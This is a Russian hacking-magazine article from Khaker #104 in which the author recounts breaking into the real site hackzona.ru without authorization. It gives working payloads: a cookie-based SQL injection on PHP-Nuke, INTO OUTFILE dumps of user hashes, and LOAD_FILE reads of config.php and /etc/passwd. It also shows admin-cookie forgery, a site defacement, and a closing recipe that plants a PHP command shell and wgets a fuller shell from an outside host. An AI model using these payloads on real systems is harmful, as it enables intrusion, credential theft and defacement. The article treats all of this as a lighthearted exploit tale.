Вторжение в ХакЗонуt0m Хакер, номер #104, стр. 064 Идеальной защиты не существует Бывало ли у тебя так: сидишь ты на каком-нибудь портале, в твоем черном умишке роятся мысли о взломе, но тут закрадывается одна дрянная мысль о невозможности этого и ломает весь кайф? На hackzona.ru я узнал многое, и взлом самой ХакЗоны казался мне чем-то нереальным и в какой-то степени даже кощунственным :). Но лозунг ХакЗоны гласит: «Все, что создал человек, можно взломать, идеальной защиты не существует». Как все начиналось Дело было ночью. От нечего делать я читал статейки, сохраненные на винте, и, признаться, это мне уже порядком надоело. Но тут, наткнувшись на материал по хаку одного девелоперского портала, я воспрял и, ощутив в себе уверенность и силу, набрал в Опере fssr.ru (второй домен ХакЗоны). Прежде всего нужно было определиться с целью взлома. Так как никакой выгоды из злодеяния я извлекать не собирался, я решил просто задефейсить сайт. Надо было с чего-то начать. Сканить хост на предмет бажных демонов не хотелось. Перебирать параметры в поисках инъекций казалось глупым, но я все же немного поигрался с параметрами. К сожалению, это ни к чему полезному не привело. Но мое внимание привлек модуль поиска, который красовался на главной странице. Вбив в поиск «sdfg», я нажал на кнопку «Поиск». Открыв сорцы страницы с результатами работы скрипта, я обнаружил следующую строчку: <input size="25" type="text" name="query" value="sdfsd"> Проведя поиск по значению «">test», я увидел то, что ты можешь наблюдать на рисунке: Просмотрев код, я обнаружил: <input size="25" type="text" name="query" value="">test">. Как видишь, я выбрался за пределы тэга и уже мог вставлять код в тело страницы. Но проведя поиск по значению «"><script>alert("xss")</script>», я получил редирект на главную пагу портала :(. Судя по всему, параметр поиска избирательно фильтровался. Нужно было искать какой-нибудь не совсем стандартный баг. И тут я вспомнил, что параметры в скрипты могут передаваться еще и через кукисы. Недолго думая, я полез смотреть, что у меня в печеньках (смотри рисунок): Параметр user, скорее всего, используется для аутентификации и представляет наибольший интерес. В большинстве случаев кукисы шифруются алгоритмом base64. Для перекодировки из base64 написано много тулз, например n57_base64.exe, также можно воспользоваться следующим PHP-скриптом: <html> <head> <title>Base64 encoder/decoder by t0m</title> </head> <body> <form method="get" action="d.php"> <input type="text" name="ins"><p> <input type="submit" value="go"> </form> <?php $ins = $_GET["ins"]; $dec=base64_decode($ins); $enc=base64_encode($ins); echo ("Encoded: $enc <p/>"); echo ("Dencoded: $dec"); ?> </body> </html> Перекодировав значение своих печенюшек, я получил: 60505:t0m:07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096 Где-то я уже это видел. Все это очень напоминало PHPNuke, известный своей дырявостью ;). За время его существования в нем успели найти предостаточное количество уязвимостей. Это радовало. Вставив апостроф после ника, я закодировал строку и поменял значение в cookie-файле через Оперу. Без особых надежд я обновил страницу и, подождав несколько томительных секунд, увидел сообщение об ошибке БД :). Error in obtaining userdata : login DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''t0m''' at line 3 SELECT user_id, username, user_password, user_active, user_level FROM voov_users WHERE username = 't0m'' Line : 775 File : /home/papanya/www/hackzona.ru/includes/functions.php Сначала я не поверил своим глазам. Ну уж никак не ожидал я, что все будет так просто. Немного отойдя от шока, я принялся изучать отчет об ошибке. Прежде всего, строки «check the manual that corresponds to your MySQL server» свидетельствовали о том, что в качестве БД используется сервер MySQL. Особенно меня порадовала строка: SELECT user_id, username, user_password, user_active, user_level FROM voov_users WHERE username = 't0m' Глупый «мускул» сделал за меня половину работы, вернув и имена столбцов, и название базы :). К полезной информации можно отнести также строку «/home/papanya/www/hackzona.ru/includes/functions.php», которая указывает полный путь к каталогу с движком сайта. Дело оставалось за малым. Мне надо было только скормить БД нужный мне запрос. Я сформулировал запрос так: 'UNION SELECT null, username, user_password, null, null FROM voov_users/*. Думаю, объяснять ничего не нужно, так как о скул-инъекции на страницах журнала писали не раз. Вставив это все дело в куки, я получил вразумительный ответ: 60505:t0m'UNION SELECT null, username, user_password, null, null FROM voov_users/*:07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096, Перекодировал его и заменил значение в куках. Когда я обновил страницу, мне почему-то вернулась пустая страница. Ни таблицы, ни юзернеймов, ни хешей... Почесав репу, я начал листать доки по скул-инъекциям и вдруг вспомнил о конструкции INTO OUTFILE, с помощью которой можно выгрузить выборку в файл на сервере. Конструкция имеет следующий синтаксис: Into Outfile 'path/file', причем присутствие FROM в запросе обязательно. Но сначала нужно было найти директорию, в которой у нас есть права на запись. Скорее всего, это папка с аватарами. Зайдя на ветку форума, в свойствах аватара первого встречного я посмотрел путь к папке с аватарами: /modules/Forums/images/avatars. Я сформировал кукис: 60505:t0m'UNION SELECT user_id, username, user_password, user_active, user_level FROM voov_users Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf56.gif'/*: 07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096, И, заботливо перекодировав его, заменил значение в кукисах. Обновив страницу, я увидел пустую таблицу «Информация», что, как мне показалось, свидетельствовало об удачном выполнении запроса. Я перешел по ссылке hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf56.gif и скачал картинку весом 4 Мб :). Открыв блокнотом суперкартинку, я увидел все юзернеймы и хеши пользователей. Брут хешей админов, как и предполагалось, ничего не дал, но мне это и не надо было, так как Nuke проводит аутентификацию через куки с помощью хешей. Заменив инфу в куках инфой одного из админов, я зашел на портал. Я мог читать приватные сообщения админа, оставлять комментарии под его ником, но заветной кнопочки «Админка» не было :(. Перепробовав варианты типа adm, admin, administrator, я так ничего и не нашел. В поисках панели админа я обратился к старому другу robots.txt. Самым маленьким поясню, что в robots.txt хранится список ресурсов, которые не должны кэшировать поисковики. Найти его всегда можно по адресу http://site/robots.txt. В роботах ХакЗоны я увидел следующую инфу: User-agent: * Disallow: hzgo.php Disallow: /admin/ Disallow: /images/ Disallow: /includes/ Disallow: /themes/ Disallow: /blocks/ Disallow: /modules/ Disallow: /language/ Host: www.hackzona.ru Мое внимание привлекла строчка «Disallow: hzgo.php». Это, наверно, и была заветная админка. Перейдя по адресу www.fssr.ru/hzgo.php, я получил лишь сухой редирект на главную страницу портала :(. В голове сразу стали появляться мысли о блокировке по IP и прочий бред. На админку было решено на некоторое время забить. В идеале хотелось найти пасс админа и получить shell-доступ ;). Так как брут хешей результатов не дал, нужно было найти какой-нибудь файлик, где пасс хранится в открытом виде. Я подумал о конфиге движка сайта, где в открытом виде лежал пасс к БД (который мог подойти к чему-нибудь еще). Прочитать файл с сервера можно функцией Load_File. Я набросал кукис: 60505:t0m'UNION SELECT load_file('../../../home/papanya/www/hackzona.ru/config.php'), null, null, null, null Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf57.gif'/*: 07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096, Закодировал его в base64, поменял значение в куках и обновил страницу. Сервер с удовольствием скушал печеньку и вернул пустую таблицу «Информация». Затем я скачал картинку запросом hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf57.gif. Открыв ее стандартным блокнотом, я увидел конфиг ХакЗоны. Среди прочего была строка «PHP-NUKE: Advanced Content Management System», что подтверждало мои догадки о нюке. В конфигах я увидел такие строки: $dbuname = "root"; $dbpass = ""; Строчка «$dbpass = "";» убила все надежды :( , но сам факт того, что я могу читать файлы с сервера не мог не радовать. Далее я попытался прочитать /etc/passwd запросом: UNION SELECT load_file('../../../etc/passwd'), null, null, null, null Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4802HdJKormf57.gif'/* Это мне очень даже удалось. Но так как в целях обеспечения безопасности /etc/passwd обычно используются схемы со скрытыми паролями, реальных паролей я не увидел. Чтобы прочитать /etc/shadow, прав, естественно, не хватало :(. Было решено вернуться к админке. Отрыв где-то в недрах винчестера архив с нюком, я установил его себе на комп и зашел под админом. Потом я полез смотреть кукисы (смотри рисунок). Как видно, для аутентификации под обычным пользователем и под админом используются два разных кукиса. Перекодировав nuke admin, я получил admin:8e3f170de8805548605349536e1eaab0. Заменив имя и хеш пользователя ником и хешем одного из админов ХакЗоны, я перекодировал значение в base64. Также пришлось заменить в кукак параметр user на admin. Сделав все и скрестив пальцы на удачу, я обновил страницу... Через несколько секунд, кроме всего прочего, на странице, я лицезрел линк на админ-панель – передо мной предстала админка во всей ее красе ;). В админ-панели было много функций, но, полазив по ссылкам, я не нашел ничего, что могло представлять интерес. Лишь кнопка «Сохранить БД» переливалась всеми цветами радуги и так и просила ткнуть в нее курсором. Преодолел ли я соблазн? Пусть это останется маленькой моей маленькой тайной :). Просто так уходить не хотелось, и я решил оставить себе на память небольшой сувенир. Перейдя в раздел «Настройки», я дописал к имени сайта «Freindly hack by t0m» и сохранил изменения. После проделанных действий в тайтле ХакЗоны появилась заветная строчка, сообщающая, что некий негодяй с ником t0m дружески поимел ХакЗону :). С помощью Into Outfile можно делать много очень интересных вещей. Например, можно выполнить запрос: UNION SELECT null, '<?php $cmd = $_GET["cmd"];system($cmd);?>', null, null, null FROM TableName Into Outfile 'path/cmd.php' Затем залить скриптик, выполняющий команды. А далее запросом http://site/path/cmd.php?cmd= wget -O path/shell.php http://yoursite/sell.txt закачать полноценный шелл. WWW http://hackzona.ru - «виновница торжества» :). http://injection.rulezz.ru - подборка материалов по SQL-injection Danger Все трюки, рассмотренные в статье, выполнялись профессиональными каскадерами, и их повторять в домашних условиях не рекомендуется, так как многое из описанного подпадает под статью 272 УК РФ. |